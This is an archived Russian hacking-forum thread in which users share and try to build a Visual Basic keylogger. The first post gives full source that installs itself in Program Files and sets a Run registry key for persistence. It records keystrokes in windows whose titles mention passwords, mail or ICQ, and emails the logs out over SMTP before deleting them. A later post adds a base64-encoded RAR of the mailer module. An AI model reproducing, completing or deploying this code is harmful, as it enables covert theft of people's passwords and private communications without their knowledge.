1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

Вопрос про keylogger

Тема в разделе "Visual Basic", создана пользователем VolkKz, 10 фев 2011.

  1. VolkKz

    VolkKz Новичок

    Регистрация:
    28 ноя 2010
    Сообщения:
    37
    Симпатии:
    8
    Баллы:
    0
    Здраствуйте Уважаемые участники форума!!!!
    Нашел в инете недавно код для кейлоггера. И не знаю как его использовать. В какой его проект добавлять Standart EXE или в какой-то другой. Что в форму добавлять???
    Код:
    Sub Main() 
    Dim FSO As New FileSystemObject 
    Dim fil As File 
    Dim Files() As String 
        
        ZapConsts 
        ZapT 
        
        ProgramFilesPath = Environ("ProgramFiles") 
        
        If Dir(ProgramFilesPath & "\KeyLogger", vbDirectory) = "" Then 
            MkDir ProgramFilesPath & "\KeyLogger" 
        End If 
        
        If Dir(ProgramFilesPath & "\KeyLogger\KeyLogger.exe") = "" Then 
            FileCopy App.Path & "\" & App.EXEName & ".exe", ProgramFilesPath & "\KeyLogger\KeyLogger.exe" 
            Shell ProgramFilesPath & "\KeyLogger\KeyLogger.exe" 
            frmMsg.Send txtSMTP, txtPort, intTypeLogin, txtFromLogin, txtFromPassword, txtmassMailTo, "KeyLogger успешно внедрен", "", "" 
            End 
        End If 
        
        If Not App.Path & "\" & App.EXEName & ".exe" = ProgramFilesPath & "\KeyLogger\KeyLogger.exe" Then 
            End 
        End If 
        
        Set Reg = CreateObject("WScript.Shell") 
        Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyLogger.exe", ProgramFilesPath & "\KeyLogger\KeyLogger.exe" 
        
        'Здесь надо бы еще скрыть приложение в панели задач. 
    
        If Dir(App.Path & "\Log", vbDirectory) = "" Then 
            MkDir App.Path & "\Log" 
        End If 
        
        ReDim Files(0 To 0) 
        For Each fil In FSO.GetFolder(App.Path & "\Log").Files 
            If UBound(Files) = 0 Then 
                ReDim Files(1 To 1) 
            Else 
                ReDim Preserve Files(1 To UBound(Files) + 1) 
            End If 
            Files(UBound(Files)) = fil.Path 
        Next 
        
        If UBound(Files) > 0 Then 
            frmMsg.Send txtSMTP, txtPort, intTypeLogin, txtFromLogin, txtFromPassword, txtmassMailTo, txtTheme & Now, "", Files 
            For i = 1 To UBound(Files) 
                Kill Files(i) 
            Next 
        End If 
        
        Perexvat 
        
    End Sub 
    
    Sub Perexvat() 
    Dim CurrentWindowName As String 
    Dim CurrentWindowHwnd As Long 
    Dim IsCatch As Boolean 
    Dim isCapsLock As Boolean 
    Dim isShift As Boolean 
    Dim i As Integer 
    
        Open App.Path & "\Log\" & Replace(Replace(Now, ".", "_"), ":", "_") & ".spy" For Output As #1 
        CurrentWindowName = "" 
        CurrentWindowHwnd = -1 
        isCapsLock = GetCapsLock 
        LastI = 0 
    
        Do 
                For i = 1 To UBound(Ascii) 
                    If GetAsyncKeyState(Ascii(i)) = -32767 Then 
                        Exit For 
                    End If 
                Next 
                
                If i < UBound(Ascii) + 1 Then 
                    
                    LastI = i 
                    
                    fEnumWindows 
                    If Not CurrentWindowHwnd = HwndOfActiveWindow Then 
                        If UBound(txtmassWhatToCatch) = -1 Then 
                            IsCatch = True 
                        Else 
                            IsCatch = False 
                            For J = LBound(txtmassWhatToCatch) To UBound(txtmassWhatToCatch) 
                                If InStr(1, UCase(NameOfActiveWindow), txtmassWhatToCatch(J)) > 0 Then 
                                    IsCatch = True 
                                    Exit For 
                                End If 
                            Next 
                        End If 
                        
                        If IsCatch Then 
                            CurrentWindowHwnd = HwndOfActiveWindow 
                            CurrentWindowName = NameOfActiveWindow 
                            Print #1, "<" & CurrentWindowName & " (" & CurrentWindowHwnd & ")" 
                        End If 
                    Else 
                        IsCatch = True 
                    End If 
                    
                    If IsCatch Then 
                        isCapsLock = GetCapsLock 
                        isShift = ShiftKey 
                        Print #1, CurrentWindowName & " (" & CurrentWindowHwnd & ")" & "''' " & CInt(isCapsLock) & "''' " & CInt(isShift) & "''' " & GetLanguageInfo(CurrentWindowHwnd) & "''' " & i 
                    End If 
                
                End If 
            
            ' Ensure we can still click buttons etc 
            DoEvents 
            Sleep 5 
            
        Loop 
    
    End Sub
    mdlActiveWindow 'Позволяет получать Класс, Имя и HWnd активного окна
    Код:
    Public ClassOfActiveWindow As String 
    Public NameOfActiveWindow As String 
    Public HwndOfActiveWindow As Long 
    
    Private Declare Function apiGetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassname As String, ByVal nMaxCount As Long) As Long 
    Private Declare Function apiGetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Long 
    Private Declare Function apiGetWindow Lib "user32" Alias "GetWindow" (ByVal hwnd As Long, ByVal wCmd As Long) As Long 
    Private Declare Function apiGetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long 
    Private Declare Function apiGetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal aint As Long) As Long 
    Private Const mcGWCHILD = 5 
    Private Const mcGWHWNDNEXT = 2 
    Private Const mcGWLSTYLE = (-16) 
    Private Const mcWSVISIBLE = &H10000000 
    Private Const mconMAXLEN = 255 
    
    Function fEnumWindows() 'Вызывать эту функцию! 
    Dim lngx As Long, lngLen As Long 
    Dim lngStyle As Long, strCaption As String 
        lngx = apiGetDesktopWindow() 
        'Return the first child to Desktop 
        lngx = apiGetWindow(lngx, mcGWCHILD) 
        Do While Not lngx = 0 
            strCaption = fGetCaption(lngx) 
            If Len(strCaption) > 0 Then 
                lngStyle = apiGetWindowLong(lngx, mcGWLSTYLE) 
                'enum visible windows only 
                If lngStyle And mcWSVISIBLE Then 
                    Debug.Print "Class = " & fGetClassName(lngx) 
                    Debug.Print "Caption = " & fGetCaption(lngx) 
                    ClassOfActiveWindow = fGetClassName(lngx) 
                    NameOfActiveWindow = fGetCaption(lngx) 
                    HwndOfActiveWindow = lngx 
                    Exit Function 
                End If 
            End If 
            lngx = apiGetWindow(lngx, mcGWHWNDNEXT) 
        Loop 
    End Function 
    Private Function fGetClassName(hwnd As Long) 
    Dim strBuffer As String 
    Dim intCount As Integer 
        strBuffer = String$(mconMAXLEN - 1, 0) 
        intCount = apiGetClassName(hwnd, strBuffer, mconMAXLEN) 
        If intCount > 0 Then 
            fGetClassName = Left$(strBuffer, intCount) 
        End If 
    End Function 
    Private Function fGetCaption(hwnd As Long) 
    Dim strBuffer As String 
    Dim intCount As Integer 
        strBuffer = String$(mconMAXLEN - 1, 0) 
        intCount = apiGetWindowText(hwnd, strBuffer, mconMAXLEN) 
        If intCount > 0 Then 
            fGetCaption = Left$(strBuffer, intCount) 
        End If 
    End Function
    mdlConsts 'Измените содержимое этого модуля под свои потребности.
    Код:
    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
    Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 
    
    Public txtSMTP As String 
    Public txtPort As String 
    Public intTypeLogin As Integer 
    Public txtFromLogin As String 
    Public txtFromPassword As String 
    Public txtmassMailTo(1 To 1) As String 
    Public txtTheme As String 
    Public txtmassWhatToCatch() As String 
    
    
    Sub ZapConsts() 
        txtSMTP = "smtp.mail.ru" 'Ваш SMTP сервер 
        txtPort = "25" ' Порт исходящей почты 
        intTypeLogin = 1 'Тип авторизации 1 - Login, 2 - Plain, 0 - без авторизации 
        txtFromLogin = "Мыло@Мыло" 'Ваше мыло, откуда 
        txtFromPassword = "******" 'Пароль к Вашему мылу 
        txtmassMailTo(1) = "Мыло@Мыло" 'Ваше мыло, куда. 
        txtTheme = "Клавиатурный перехватчик " 
        txtmassWhatToCatch = Split("ICQ, QIP, ПАРОЛЬ, PASSWORD, MAIL, ПОЧТА", ", ") 'Перечень названий через ЗАПЯТАЯ_ПРОБЕЛ заглавными буквами. Если такое сочетание встречается в текcnt окна - его содержимое записывается. 
        'txtmassWhatToCatch = Split("", ", ")  ' А если передать пустую строку - будет писать со всех окон. 
    End Sub
    mdlControlsState 'Позволяет определять состояния служебных кнопок (CAPS, Shift, Alt и т.д.)
    Код:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
    Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long 
    Private Declare Function SetKeyboardState Lib "user32" (lppbKeyState As Byte) As Long 
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer 
    
    ' Возвращает True если клавиша Ctrl нажата 
    Function CtrlKey() As Boolean 
    CtrlKey = (GetAsyncKeyState(vbKeyControl) And &H8000) 
    End Function 
    
    ' Возвращает True если клавиша Shift нажата 
    Function ShiftKey() As Boolean 
    ShiftKey = (GetAsyncKeyState(vbKeyShift) And &H8000) 
    End Function 
    
    ' Возвращает True если клавиша Alt нажата 
    Function AltKey() As Boolean 
    AltKey = (GetAsyncKeyState(vbKeyMenu) And &H8000) 
    End Function 
    
    ' Возвращает True если нажаты запрашиваемые клавиши 
    'MsgBox KeysPressed(vbKeyRButton) - нажата ли правая клавиша мыши? 
    Function KeysPressed(ByVal KeyCode1 As KeyCodeConstants, Optional ByVal KeyCode2 As KeyCodeConstants, Optional ByVal KeyCode3 As KeyCodeConstants) As Boolean 
    If GetAsyncKeyState(KeyCode1) >= 0 Then Exit Function 
    If KeyCode2 = 0 Then KeysPressed = True: Exit Function 
    If GetAsyncKeyState(KeyCode2) >= 0 Then Exit Function 
    If KeyCode3 = 0 Then KeysPressed = True: Exit Function 
    If GetAsyncKeyState(KeyCode3) >= 0 Then Exit Function 
    KeysPressed = True 
    End Function 
    
    ' узнать состояние CapsLock. 
    'MsgBox GetCapsLock. Если True - то включена, если False - выключена 
    Function GetCapsLock() As Boolean 
        GetCapsLock = CBool(GetKeyState(vbKeyCapital) And 1) 
    End Function 
    
    ' Изменение состояния CapsLock: 
    ' SetCapsLock True - включено 
    ' SetCapsLock False - выключено 
    Sub SetCapsLock(ByVal newValue As Boolean) 
    ' get current state of all 256 virtual keys 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    ' modify bit 0 of the relevant item, and store back 
    keystat(vbKeyCapital) = (keystat(vbKeyCapital) And &HFE) Or (newValue And 1) 
    SetKeyboardState keystat(0) 
    End Sub 
    
    ' узнать состояние ScrollLock. 
    'MsgBox GetScrollLock. Если True - то включена, если False - выключена 
    Function GetScrollLock() As Boolean 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    GetScrollLock = (keystat(vbKeyScrollLock) And 1) 
    End Function 
    
    ' Изменение состояния ScrollLock. 
    ' SetScrollLock True - включено 
    ' SetScrollLock False - выключено 
    Sub SetScrollLock(ByVal newValue As Boolean) 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    keystat(vbKeyScrollLock) = (keystat(vbKeyScrollLock) And &HFE) Or (newValue And 1) 
    SetKeyboardState keystat(0) 
    End Sub 
    
    ' узнать состояние NumLock. 
    'MsgBox GetNumLock. Если True - то включена, если False - выключена 
    Function GetNumLock() As Boolean 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    GetNumLock = (keystat(vbKeyNumlock) And 1) 
    End Function 
    
    ' Изменение состояния NumLock 
    ' SetNumLock True - включено 
    ' SetNumLock False - выключено 
    Sub SetNumLock(ByVal newValue As Boolean) 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    keystat(vbKeyNumlock) = (keystat(vbKeyNumlock) And &HFE) Or (newValue And 1) 
    SetKeyboardState keystat(0) 
    End Sub 
    
    ' узнать состояние Insert Key. 
    'MsgBox GetInsertKey. Если True - то включена, если False - выключена 
    Function GetInsertKey() As Boolean 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    GetInsertKey = (keystat(vbKeyInsert) And 1) 
    End Function 
    
    ' Изменение состояния Insert Key 
    ' SetInsertKey True - включено 
    ' SetInsertKey False - выключено 
    Sub SetInsertKey(ByVal newValue As Boolean) 
    Dim keystat(0 To 255) As Byte 
    GetKeyboardState keystat(0) 
    keystat(vbKeyInsert) = (keystat(vbKeyInsert) And &HFE) Or (newValue And 1) 
    SetKeyboardState keystat(0) 
    End Sub
    
    mdlGetRaskladka 'Позволяет узнать раскладку клавиатуры окна с указанным Hwnd
    Public Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long 
    Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long 
    Public Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String, ByVal cchData As Long) As Long 
    Public Const LOCALE_SENGLANGUAGE = &H1001 
    
    Public Function GetLanguageInfo(ByVal hwnd As Long) As String 
    Dim sReturn As String, nRet As Long 
    Dim pid As Long, tId As Long, LCID As Long 
    tId = GetWindowThreadProcessId(hwnd, pid) 
    LCID = LoWord(GetKeyboardLayout(tId)) 
    sReturn = String$(128, 0) 
    nRet = GetLocaleInfo(LCID, LOCALE_SENGLANGUAGE, sReturn, Len(sReturn)) 
    If nRet > 0 Then GetLanguageInfo = Left$(sReturn, nRet - 1) 
    End Function 
    
    Public Function LoWord(DWORD As Long) As Integer 
    If DWORD And &H8000& Then 
    LoWord = &H8000 Or (DWORD And &H7FFF&) 
    Else 
    LoWord = DWORD And &HFFFF& 
    End If 
    End Function
    mdlZapT 'Заполнение массива с кодами
    Код:
    Public Ascii(1 To 97) As Integer 
    
    Sub ZapT() 
    
    Ascii(1) = 9 
    Ascii(2) = 13 
    Ascii(3) = 18 
    Ascii(4) = 27 
    Ascii(5) = 32 
    Ascii(6) = 33 
    Ascii(7) = 34 
    Ascii(8) = 35 
    Ascii(9) = 36 
    Ascii(10) = 37 
    Ascii(11) = 38 
    Ascii(12) = 39 
    Ascii(13) = 40 
    Ascii(14) = 45 
    Ascii(15) = 46 
    Ascii(16) = 48 
    Ascii(17) = 49 
    Ascii(18) = 50 
    Ascii(19) = 51 
    Ascii(20) = 52 
    Ascii(21) = 53 
    Ascii(22) = 54 
    Ascii(23) = 55 
    Ascii(24) = 56 
    Ascii(25) = 57 
    Ascii(26) = 65 
    Ascii(27) = 66 
    Ascii(28) = 67 
    Ascii(29) = 68 
    Ascii(30) = 69 
    Ascii(31) = 70 
    Ascii(32) = 71 
    Ascii(33) = 72 
    Ascii(34) = 73 
    Ascii(35) = 74 
    Ascii(36) = 75 
    Ascii(37) = 76 
    Ascii(38) = 77 
    Ascii(39) = 78 
    Ascii(40) = 79 
    Ascii(41) = 80 
    Ascii(42) = 81 
    Ascii(43) = 82 
    Ascii(44) = 83 
    Ascii(45) = 84 
    Ascii(46) = 85 
    Ascii(47) = 86 
    Ascii(48) = 87 
    Ascii(49) = 88 
    Ascii(50) = 89 
    Ascii(51) = 90 
    Ascii(52) = 91 
    Ascii(53) = 92 
    Ascii(54) = 93 
    Ascii(55) = 96 
    Ascii(56) = 97 
    Ascii(57) = 98 
    Ascii(58) = 99 
    Ascii(59) = 100 
    Ascii(60) = 101 
    Ascii(61) = 102 
    Ascii(62) = 103 
    Ascii(63) = 104 
    Ascii(64) = 105 
    Ascii(65) = 106 
    Ascii(66) = 107 
    Ascii(67) = 109 
    Ascii(68) = 110 
    Ascii(69) = 111 
    Ascii(70) = 112 
    Ascii(71) = 113 
    Ascii(72) = 114 
    Ascii(73) = 115 
    Ascii(74) = 116 
    Ascii(75) = 117 
    Ascii(76) = 118 
    Ascii(77) = 119 
    Ascii(78) = 120 
    Ascii(79) = 121 
    Ascii(80) = 122 
    Ascii(81) = 123 
    Ascii(82) = 124 
    Ascii(83) = 125 
    Ascii(84) = 126 
    Ascii(85) = 127 
    Ascii(86) = 186 
    Ascii(87) = 187 
    Ascii(88) = 188 
    Ascii(89) = 189 
    Ascii(90) = 190 
    Ascii(91) = 191 
    Ascii(92) = 192 
    Ascii(93) = 219 
    Ascii(94) = 220 
    Ascii(95) = 221 
    Ascii(96) = 222 
    Ascii(97) = 8 
    
    End Sub

    Помогите разобраться с кодами
     
  2. lytgeygen

    lytgeygen pacifiste maniaque ..::V.I.P::..

    Регистрация:
    13 окт 2008
    Сообщения:
    431
    Симпатии:
    244
    Баллы:
    0
    думаю что так, но я попробовал запустить, письма не приходят(( или это я кривой %) Я собственно пытался его заставить на демон денвера отправить письма... ))
     
  3. VolkKz

    VolkKz Новичок

    Регистрация:
    28 ноя 2010
    Сообщения:
    37
    Симпатии:
    8
    Баллы:
    0
    Большое вам спасибо!!!!
     
  4. VolkKz

    VolkKz Новичок

    Регистрация:
    28 ноя 2010
    Сообщения:
    37
    Симпатии:
    8
    Баллы:
    0
    Тут вроде еще должно быть вроде еще несколько компонентов.
    Инструкция:
    1) Скопировать содержимое в текстовый файл и сохранить
    2) Изменить расширение текстового файла на "eml"
    3) Открыть Outlook Express и перетащить файл во Входящие
    4) Enjoy
    Код:
    From: [email protected] 
    To: [email protected] 
    Subject: Mailer (WinSock, SMTP, MIME, Base64) 
    X-Mailer: CRM_Mailer, Version 1.0 
    X-MimeOLE: Produced by Penkov Alexey ([email protected]) 
    MIME-Version: 1.0 
    Content-Type: multipart/mixed; boundary="_NextPartOfMessage_" 
    Message-Id: <[email protected]> 
    Date: Fri, 07 Nov 2008 13:14:30 +0300 
    X-Spam: Not detected 
    X-SpamTest-Envelope-From: [email protected] 
    X-SpamTest-Group-ID: 00000000 
    X-SpamTest-Info: Profiles 5619 [Nov 06 2008] 
    X-SpamTest-Method: none 
    X-SpamTest-Rate: 0 
    X-SpamTest-SPF: SPF engine error 
    X-SpamTest-Status: Not detected 
    X-SpamTest-Status-Extended: not_detected 
    X-SpamTest-Version: SMTP-Filter Version 3.0.0 [0278], KAS30/Release 
    
    
    This is a multi-part message in MIME format. 
    
    --_NextPartOfMessage_ 
    Content-Type: text/plain; charset="Windows-1251" 
    Content-Transfer-Encoding: 8bit 
    
    Ну вот Вы и сделали первый шаг к пониманию MIME формата. 
    Исходное сообщение было в MIME формате, а Вы его расшифровали при помощи Outlook Express. Теперь Вы видите вложение, где и находится почтовый модуль. 
    Вообще, для изучения MIME формата очень удобно сохранить почтовое сообщение в файле, открыть файл текстовым редактором и смотреть. 
    
    Во вложении Вы найдёте полностью рабочую процедуру для работы с почтой. Тестил на mail.ru, потому советую завести аккаунт там и работать с ним. Хотя, я уверен, что с 90% серверов она сможет работать - только параметры правильные передавать в нее нужна. Процедура позволяет отправлять почтовые сообщения многим адрессатам без вложений, с одним или несколькими вложениями. В основе лежит WinSock, используется SMTP-протокол, MIME-формат, Base64. 
    
    Base64 - штука очень интересная. С ее помощью можно всё что угодно превратить в текст. Для тех, кто пишет сетевые чаты... Вы тоже можете с помощью Base64 передавать между 2 компами файлы. А так же можно попробовать звук... С микрофона писать и передавать построчно по 57:76 байт (В Base64 8-Битные данные преобразуются в соотношении 3:4 в текст. Вот почему когда отправляешь 1М по почте - письмо получается 1.3М - все вложения хранятся в теле письма в Base64). На стороне клиента - читать и преобразовывать обратно в 8-Битный вид. 
    
    --_NextPartOfMessage_ 
    Content-Type: application/octet-stream; name="Отправка писем.rar" 
    Content-Transfer-Encoding: Base64 
    Content-Disposition: attachment; filename="Отправка писем.rar" 
    
    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 
